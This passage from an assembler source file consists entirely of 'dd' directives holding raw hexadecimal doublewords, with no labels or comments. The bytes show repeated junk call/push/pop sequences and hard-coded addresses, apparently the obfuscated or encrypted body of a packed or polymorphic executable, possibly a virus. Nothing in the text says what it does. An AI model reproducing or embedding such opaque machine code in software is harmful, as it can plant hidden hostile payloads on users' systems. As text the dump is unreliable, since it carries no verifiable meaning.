95FF061Fh, 61F3175h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h, 11E88B38h dd 8A000000h, 4FFA5771h, 0AE62CA9Eh, 0FA150069h, 44C96785h dd 56E6815Fh, 8917E591h, 1F08859Dh, 0B58B5B06h, 61F0769h dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0D44F10C3h, 0B463C25h, 0DCDF8134h, 3D1A10F0h dd 834h, 0B860Fh, 0B58B0000h, 61F1A71h, 0EE9h, 0FC08B00h dd 68Ch, 698D3100h, 8B061F16h, 0C7D88BC3h, 1F160D85h, 0DE817706h dd 52006A11h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0C08B4D20h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 16C35646h, 0D833D1B8h, 0AED9D89h, 6660061Fh dd 9589F78Bh, 61F0675h, 0E1BD8161h, 0D0061F05h, 0F000007h dd 4085h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 85FFB9BCh, 61F05E1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C5C35141h, 0E1B5FF9Fh dd 6A061F05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 49EC355h, 9E9h, 91977F00h, 1963BB2Fh dd 0B58B3C2Ch, 61F2AD5h, 1D4595FFh, 6660061Fh, 9985D681h dd 61D9B70Fh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 6A2C000Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 29BFC357h, 1F08B195h dd 14E906h, 0CE6F0000h, 56A81B18h, 6F2DE421h, 2EF3C1Ch dd 129E9C7h, 6AA901h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 899326C3h, 95896020h, 61F20C9h dd 6850Fh, 958B0000h, 61F30FDh, 7DB58B61h, 89061F0Ah, 1F192D8Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 3C288310h, 4E8B917Bh, 718D31F5h, 60061F24h dd 6850Fh, 958B0000h, 61F15C5h, 1AE1B589h, 8D89061Fh, 61F1A25h dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 32781217h, 0E9F353D7h, 90D6F4BFh, 0F7AAE944h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8BA34FC3h, 6860FC1h, 8B000000h, 1F2EB5B5h dd 4EB06h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0D849C350h, 858DF916h, 61F19BDh dd 9E60DF81h, 895005BCh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0EB0A17C3h, 50C9583h dd 659D8968h, 6A061F1Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 6AF576h, 8E9h, 0D3EF5300h dd 5BA9F0D8h, 2DB52370h, 8D061F30h, 22F8C885h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 6F05EDB8h, 0DA490484h, 31B58BBDh, 83061F13h, 6A05C0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C68A9BC3h, 9BE68166h, 14820F65h, 0F000000h, 0E82h dd 9E900h, 0A5560000h, 0AF316A98h, 0FD58F88h, 682h, 0E5B58900h dd 50061F09h, 89FB8B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0CDABEC3h, 665E8640h dd 2D09CF81h, 0CDDB58Bh, 0BD8B061Fh, 61F0805h, 0CE81006Ah dd 1FCA3EDDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 7C3E82C3h, 0FFF0B70Fh, 1F016195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0F5858903h, 0BE061F0Fh, 9BF1627h, 0B1F29D8Dh dd 8D890622h, 61F0619h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF8ABEC3h, 1F102985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0FBB70FCCh, 845E9h, 0E800h, 815D0000h, 22F8D2EDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 611B2FF1h, 90FA3ED8h, 56D681A5h, 811BA059h dd 1F05E1BDh, 7D006h, 78860F00h, 0F000001h, 9D8BFEBFh dd 61F0DD5h, 0B927D2BEh, 0E3814Ch, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8212C351h, 57C0219Ah, 769F4943h, 850FDB0Bh, 0C9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D2C35343h, 39B50B92h dd 52061F0Dh, 8B5E5E53h, 1F1D7DBDh, 0DBBD8306h, 622F6h dd 4E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 6FE1C6C3h, 66F8FE60h, 9FE9FA8Bh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 1875C350h, 0B23D7B28h, 38562198h dd 0F6DB85C7h, 10622h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0F5FC7C3h, 0FE9h, 0D172200h dd 71F845C4h, 771DA55h, 0CF3457DBh, 39E9h, 0DB85C700h dd 622F6h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 526CC352h, 0C8D0Fh, 0BA600000h dd 30B54CECh, 36DE20BBh, 9D8D616Ah, 61F0DD5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 49C35747h, 0C18D89DBh dd 81061F2Bh, 0FFFEFF23h, 25B58BFFh, 66061F0Fh, 800FDB8Ch dd 1, 4C3F6FCh, 32840Fh, 8E0F0000h, 6, 29DBD8Bh, 95FF061Fh dd 61F3175h, 0AF836FBFh, 0B1609060h, 50506111h, 0F18B6652h dd 0BABE310Fh, 5A3BA893h, 9D019058h, 61F2BCDh, 3E4E9h dd 6A00B000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0F6C357h, 70E6E458h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 8C9E3926h dd 0FC575616h, 0BE6671E4h, 0B60FDFE0h, 93BF66D8h, 6BA67h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0CC6942C3h, 99B79F2h dd 0E68192CEh, 67EECBAFh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 604CA9C3h, 0FD39635h dd 685h, 8C0F00h, 0C1000000h, 0B58B04E8h, 61F2CB5h, 6AE2F766h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 3A91C357h, 64CCFB33h, 6AD82B7Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 95EDC357h, 8E9D6h, 32E60000h, 918FCA5h, 50FC083Dh, 0F241C89h dd 386h, 5FF95200h, 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 388A2DC3h dd 11EF81E3h, 0FF7131D7h, 1F1D4595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0FC8091EEh dd 3CB1C6A5h, 0AE84752h, 61000000h, 3B13E632h, 0CFD44996h dd 0F08B6606h, 0F00B05Eh, 0B52BFBBFh, 61F12C5h, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0F91C1AC3h, 8D78534Eh, 0D3F4E4BFh, 371E40Fh, 1F14FDBDh dd 71BD8B06h, 3C061F06h, 16830F61h, 66000002h, 44BEF18Bh dd 0F24043Bh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 29563CC3h, 1F08A99Dh, 6BA06h, 0C38B0000h dd 51FBA8BEh, 4E8C12Dh, 64EBDBBFh, 9B58937h, 66061F16h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD310CC3h, 61F2C45h, 9D09D82Bh, 61F2AADh dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 6E8B1FFh, 1C000000h, 0DBF903AEh, 15B58B11h dd 5F061F2Eh, 0DCE2C781h, 0D82B12ECh, 163880Fh, 0BF660000h dd 7B9294Dh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0E055C352h, 0BD89D477h dd 61F0E9Dh, 6A00C183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0CF21C350h, 57B86C0Dh dd 2E919D89h, 3BF5061Fh, 2860FD9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 9967C352h, 0A149DD0Ah, 789ECDA7h, 0B55ABFBEh, 0D98C6602h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h dd 8B3C93EBh, 1F074DBDh, 4C1F606h, 97840Fh, 81660000h dd 0E95128DFh, 0Ah, 2ACC21EEh, 0D371CE26h, 95FFD3FAh, 61F3175h dd 15AD8529h, 0FC5B061Fh, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 1B306DC3h, 4651D700h dd 8B51C1F6h, 1F1F3DB5h, 8B665F06h, 8343DFAh, 860F0000h dd 39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 2FC35242h, 598889ABh, 0CD304FACh, 1FE901h, 0E9530000h dd 8, 0D0C45233h, 80A04096h, 0E9C08B5Fh, 9, 0FBB422D9h dd 6E1F889Fh, 8BC38B25h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0AC92DA1Ch, 85C735BEh dd 61F2AD1h, 7F5D4FF5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 92C35040h, 4A992794h, 0B70FD175h, 13E9F7h dd 0BB2C0000h, 0E2736CCEh, 0A7ABDDCCh, 54DF48E7h, 11E256BBh dd 6AC08B82h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 31B6C351h, 0D96AF0C3h, 0E7818988h dd 3DBE9B70h, 2C19BD8Bh, 0BD81061Fh, 61F05E1h, 7D0h, 23850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FF9803C3h, 1F05E185h, 0E1B5FF06h, 0E9061F05h dd 8, 0F3FF290Fh, 601325D5h, 1D4595FFh, 6A061Fh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 52DBE4C3h, 8A0F609Ch, 1Ah, 14E8h, 5A2E4200h, 7396952Dh dd 0BE57558Ch, 55CF79CEh, 9C5B5588h, 33525E9Bh, 1F1025B5h dd 90615E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 57C35141h, 6A39CA8Fh, 10BC4E58h, 0F5DF8166h, 28D0F96h dd 8B000000h, 0F3B70FF3h, 2890F60h, 8B000000h, 0C0BF0FF3h dd 2E618D89h, 0F61061Fh, 28Dh, 89FE8B00h, 1F12AD85h, 59BE6606h dd 1860FCCh, 0F9000000h, 2A84F681h, 6A6E6Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 57891FC3h dd 755BD2Bh, 665E061Fh, 52BBDE81h, 10919D89h, 8156061Fh dd 8BE381D7h, 0F38B5E45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 89C35747h, 0EE5DB842h, 3DBD33A9h, 0F061F0Ah dd 0F8Fh, 5E900h, 0F8B0000h, 0BF79F981h, 0E9CB3A5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7DC35040h, 0EBD95F81h dd 4BF17428h, 0E7816606h, 0D6E9F396h, 66FFFFF7h, 0E827BCBEh dd 5, 0DE3FE4CBh, 0EDBD8B11h, 89061F08h, 1F1B9185h, 0C18B5F06h dd 0EDBE5660h, 5A6B7EA2h, 0EF19D89h, 8961061Fh, 1F1AED95h dd 4EB06h, 0F9000000h, 2F5D8D89h, 858D061Fh, 61F19BDh dd 68B0Fh, 0D7810000h, 10B769C2h, 0FABF6650h, 24048908h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3C35343h dd 31920B34h, 1F1AC995h, 0F1E78106h, 6A303CB9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B4766111h, 0BE666AEFh, 0BF0F6E6Fh, 8D006AFEh, 2302DB85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8B337849h, 1F1BB9B5h, 13E906h, 34C60000h dd 456483ECh, 133D22D8h, 0C5823FF8h, 0E14C5818h, 5C08335h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 84C35343h dd 4A16B845h, 6E8h, 1A918800h, 66D6AA2Fh, 5FD12CBEh, 10199529h dd 5090061Fh, 6E8h, 7EEED800h, 60EAE3A8h, 0BF66FA8Ah, 5E61939Bh dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0AA044F40h, 0CE99529h, 6A061Fh, 1D29B58Bh dd 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 8DC35545h, 91851442h, 6F1BD8Bh, 95FF061Fh, 61F0161h dd 1EA98D31h, 9D8D061Fh, 622B1F2h, 5AA3D781h, 0D3FF4F56h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3BC35141h dd 891D76A8h, 1F15C5BDh, 2985FF06h, 0BF061F10h, 7217513Fh dd 0E9F3BF0Fh, 83Bh, 0E8h, 0ED815D00h, 62302E5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 24C35242h, 0DC18337h dd 0FDBE24BEh, 68B0FC2h, 1000000h, 1F0891BDh, 0DDB58B06h dd 81061F11h, 1F05E1BDh, 7D006h, 3B860F00h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0BB96C355h dd 0B8182578h, 0B9943CF3h, 1D3D9D8Bh, 6652061Fh, 5ECB7FBFh dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0DB0B29C3h, 99850Fh, 9D890000h dd 61F2F7Dh, 12BBD83h, 0F000623h, 5784h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0C5204D80h, 0AE97Eh, 0BECC0000h, 0C80C42D5h, 6027451Dh dd 15BD0Bh, 81E9061Fh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 1CDDC350h dd 12B85C7h, 10623h, 13E80000h, 7000000h, 0F32840CEh, 4C5E7E2Ch dd 4C070C2Fh, 0ECFAA286h, 0BE66A3C9h, 0E95E2FF0h, 38h dd 0C7F3BF0Fh, 23012B85h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BE0997Dh dd 72F59ABEh, 0B58B0239h, 61F2E69h, 1D3D9D8Dh, 2381061Fh dd 0FFFFFEFFh, 2419B58Bh, 8C66061Fh, 0EE9DBh, 1C8F0000h dd 4B48635Ch, 0D89017CFh, 7E10F687h, 0F04C3F6h, 9684h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 619D8985h, 0FF061F03h, 1F317595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DA123962h, 2DDAD28h, 0E890605Dh, 0Dh, 803F0621h, 50178F5Ah dd 221291F0h, 0D3F5BFFFh, 505F6997h, 0CCFABF66h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0DC237745h, 51578D6Ah, 59BC39BEh, 0E95E5F68h, 3E5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 25C35242h dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 9A84C5C3h, 0E6816660h, 0BF0F90A0h, 8B6661C9h dd 6A70E6FAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3893C350h, 8ABEBE72h, 0E441DB7Dh dd 0BE971h, 9E430000h, 49742016h, 7151086Ah, 3ABE664Ch dd 0D8B60F6Bh, 0C9CE8166h, 6BAD6h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 667D4AC3h dd 8BDEFEBFh, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 3D59ABDFh, 0E8C1AAD8h, 0EDB58B04h dd 66061F1Fh, 0B533E2F7h, 61F2D1Dh, 8950D82Bh, 6A241Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 981DEDC3h, 0BF0F60F8h, 61F080F9h, 0E1B5FF61h, 0E8061F05h dd 0Ch, 0D85D2AEDh, 73C91CCAh, 1495BB29h, 0FF5EF28Bh, 1F1D4595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 79BD0B2Eh, 0B0061F05h, 0F9B70F00h, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 69DB71C3h, 0CCDC2D2Bh, 71E45497h, 1669BD8Bh, 613C061Fh dd 253830Fh, 0FFC0000h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 2251BBC3h, 592C64BCh dd 8C0FB8h, 0BA000000h, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 5C35343h, 3B95B0h, 0B5290F37h, 61F2F05h dd 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A96E5BC3h, 66F98B79h, 37E9EE81h, 6A04E8C1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C113C351h, 932C2BDh, 0E8FC3777h, 0Dh, 0DF23E896h dd 0E11A6BD9h, 2980847Bh, 6288BF7Ah, 665F0289h, 0D82BE2F7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D8C35545h dd 772A7F61h, 0F713229Eh, 68F0Fh, 8D890000h, 61F2BD5h dd 8DBD0158h, 2B061F2Dh, 4E880FD8h, 60000001h, 14E8BA66h dd 0AD1858Bh, 0B961061Fh, 7, 11E8h, 0D3CC7800h, 0D6AF5FA7h dd 0E06071BDh, 0FC3F688h, 0B58B08A9h, 61F0099h, 0C1835Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1C35141h dd 0B063842Ch, 75FE2723h, 2DC9BD8Bh, 0BD01061Fh, 61F1C51h dd 0D9CE8166h, 0FD93BABh, 0E086h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0CAF5E252h dd 8C665937h, 45B509D9h, 0F6061F1Bh, 840F04C1h, 71h, 2ACD8589h dd 95FF061Fh, 61F3175h, 67C4EF81h, 6A5B1432h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 2BC5C350h, 0A5B58BC3h, 53061F2Eh, 5EF1BF0Fh, 8343Dh dd 2A860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0E6BFC356h, 0E92E8D46h dd 41h, 0A05AA7BEh, 6AC08B76h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 430AC357h, 1DD76C12h dd 3A00888Ah, 10E9h, 695BB000h, 9DC1F3ABh, 96B0695h, 0AF06117Eh dd 8BC38B57h, 0C7F08BD8h, 1F0DD585h, 3D79B106h, 0D7816659h dd 0C08BACB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 6AC35040h, 0E3BAAB6Ah, 81BECF7Ch, 1F05E1BDh, 7D006h dd 0D850F00h, 0F9000000h, 5E185FFh, 0B589061Fh, 61F2C3Dh dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 22AFEBC3h, 6C0CA63Ah, 95FF5249h dd 61F1D45h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 67C35343h, 0F30DB41Ch, 0BF0F87E3h, 9D8990F0h, 61F247Dh dd 114DBD8Bh, 0EE8061Fh, 9C000000h, 52ADA741h, 63B50D8Eh dd 847EB233h, 0FA8B66E5h, 10E9h, 1C25F400h, 0D2A429F2h dd 252EE7EDh, 1368CBEh, 860F5E10h, 0Ch, 0A7DB58Bh, 8D29061Fh dd 61F11E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0E9C35545h, 0BD7F6A66h, 81ABE7A0h, 9FB8B66h, 1F2E2185h dd 0F28B6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0C9C35747h, 3D104B1Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0A0C35242h, 8529AB90h, 61F1E1Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B3C35343h dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 2FF63C35h, 29D48716h, 1F14C595h, 12E96006h dd 31000000h, 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0BB80016h dd 0B19509F6h, 0E9061F1Bh, 10h, 0A5AE268Ah, 37BD9460h dd 39C401A2h, 5B83F19Ch, 0F1BD8961h, 0E9061F0Ch, 0FFFFF7E4h dd 0DE9h, 916AF800h, 1678B684h, 0B005A40Ah, 8E93B95h, 0D4000000h dd 7B50C8E9h, 8BC27545h, 559589C1h, 0BF061F0Ch, 60DBADh dd 4EBh, 1600000h, 1F15798Dh, 0FB8B6006h, 2A25B589h, 6161061Fh dd 6AF88B66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 1FA8C355h, 0CE94Eh dd 0C37C0000h, 0DE08314Dh, 34493664h, 858D0389h, 61F19BDh dd 1B85B58Bh, 5390061Fh, 743E35BEh, 0BF505F75h, 1BC7BE40h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 6A006A61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0E4D6C357h, 47BB9398h dd 6AF18B9Ah, 14E900h, 0A45C0000h, 0DA05D6A7h, 418ACC01h dd 69097C85h, 8B1FA19h, 858D565Eh, 6230CD8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5DC35141h, 6EB1C880h dd 7E800327h, 12E9h, 5C054800h, 802BE6FAh, 0D0F57096h dd 34706FF1h, 66638F66h, 0C083F88Bh, 0EE805h, 53D50000h dd 0B18C8F49h, 587B650Ah, 24734ED9h, 689B58Bh, 505F061Fh dd 8830Fh, 66600000h, 8B66F38Bh, 48961FEh, 75858924h, 6A061F2Fh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 1646716Bh, 0BFE9AA58h, 0D5C54Dh, 8D0F006Ah dd 0 dd 16195FFh, 0FB8B061Fh, 8DFA8B66h, 22B1F29Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 1AD67280h, 0BD037A6Eh, 61F1295h, 8B53D3FFh, 85FF5EF3h dd 61F1029h, 73EE9h, 0E800h, 815D0000h, 230CE2EDh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 8F9E7A0Dh, 0A54C3C8Bh, 0BD81A456h, 61F05E1h, 7D0h, 0D7860Fh dd 8BFC0000h, 1F1EC19Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BC98CA7h, 1F1C31BDh dd 0E38106h, 9000001h, 1F186D8Dh, 0FDB0B06h, 5C85h, 0F98B6600h dd 0B2ABD83h, 0F000623h, 2E84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0BE9B6F22h dd 7C358AD7h, 53E9h, 0B1B58900h, 0C7061F31h, 230B2A85h dd 106h, 68A0F00h, 89000000h, 1F0AAD8Dh, 32E906h, 0B70F0000h dd 2A85C7F6h, 6230Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 2964C356h, 79440BB6h dd 0CEAA37B5h, 1EC19D8Dh, 81F5061Fh, 0FFFEFF23h, 0DB8C66FFh dd 1F2D8D89h, 9589061Fh, 61F0F55h, 0F04C3F6h, 4484h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FF2D25E7h, 1F317595h, 0E8515006h, 12h, 130EDE52h, 4FCA3D83h dd 9438156Eh, 6971E4B5h, 0FB8B5F11h, 4895E5Eh, 3A7E924h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 6118E4C3h, 0B0F88Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0CBC35747h, 0E603488Bh, 50006A70h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 49C411CCh, 6A71E49Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 931EC357h, 2D6632E1h dd 667DC569h, 0FEDDEBEh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 23EC51C3h, 1F1A55B5h dd 6BA06h, 89560000h, 1F0769B5h, 0C38B5E06h, 0EA97CE81h dd 0E8C16E95h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 9531BCE7h, 61F31C1h, 0E9E2F766h dd 6, 2E70A987h, 2BF9C5D8h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F64E5D2h dd 6650F9BFh, 89A531BFh, 0B5FF241Ch, 61F05E1h, 0FC9B533h dd 8166061Fh, 0FF0A0AEFh, 1F1D4595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 385A2BF0h dd 21B58B53h, 8B061F1Ch, 1F1B99BDh, 6A00B006h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 66BCC350h, 9D89F78Bh, 61F1D19h, 71E470E6h, 0E3E68166h dd 0DE8EEh, 1B550000h, 470DC037h, 0C87A5F0Ch, 0F530378Bh dd 0F613C5Fh, 1F083h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 37A7FB5Ch, 8E92Ch, 33880000h dd 868EDDC1h, 0B60F4C0Ch, 0F58D29D8h, 89061F1Dh, 1F07B985h dd 6BA06h, 85890000h, 61F0E89h, 6AC38Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F17664C3h dd 6BBF5A55h, 0C151E67Bh, 6A04E8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 565F98C3h, 114DB52Bh dd 0F766061Fh, 153BFE2h, 0D82B661Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0FEC35040h, 38716508h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0FD432BD7h, 2BA03BF5h, 1F2F85BDh, 0FD82B06h, 10088h dd 7B9F500h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0A992C356h, 1A5D9D29h dd 810F061Fh, 3, 83FA8B66h, 6A00C1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 5EB118C3h dd 3BFB8B66h, 0A2860FD9h, 66000000h, 0AE8D98Ch, 99000000h dd 7EEF0838h, 0A1BD06BFh, 0E1B58BD3h, 5E061F1Ah, 0F04C1F6h dd 6C84h, 7595FF00h, 0E9061F31h, 0Eh, 6BF19494h, 7D04F832h dd 2672300Eh, 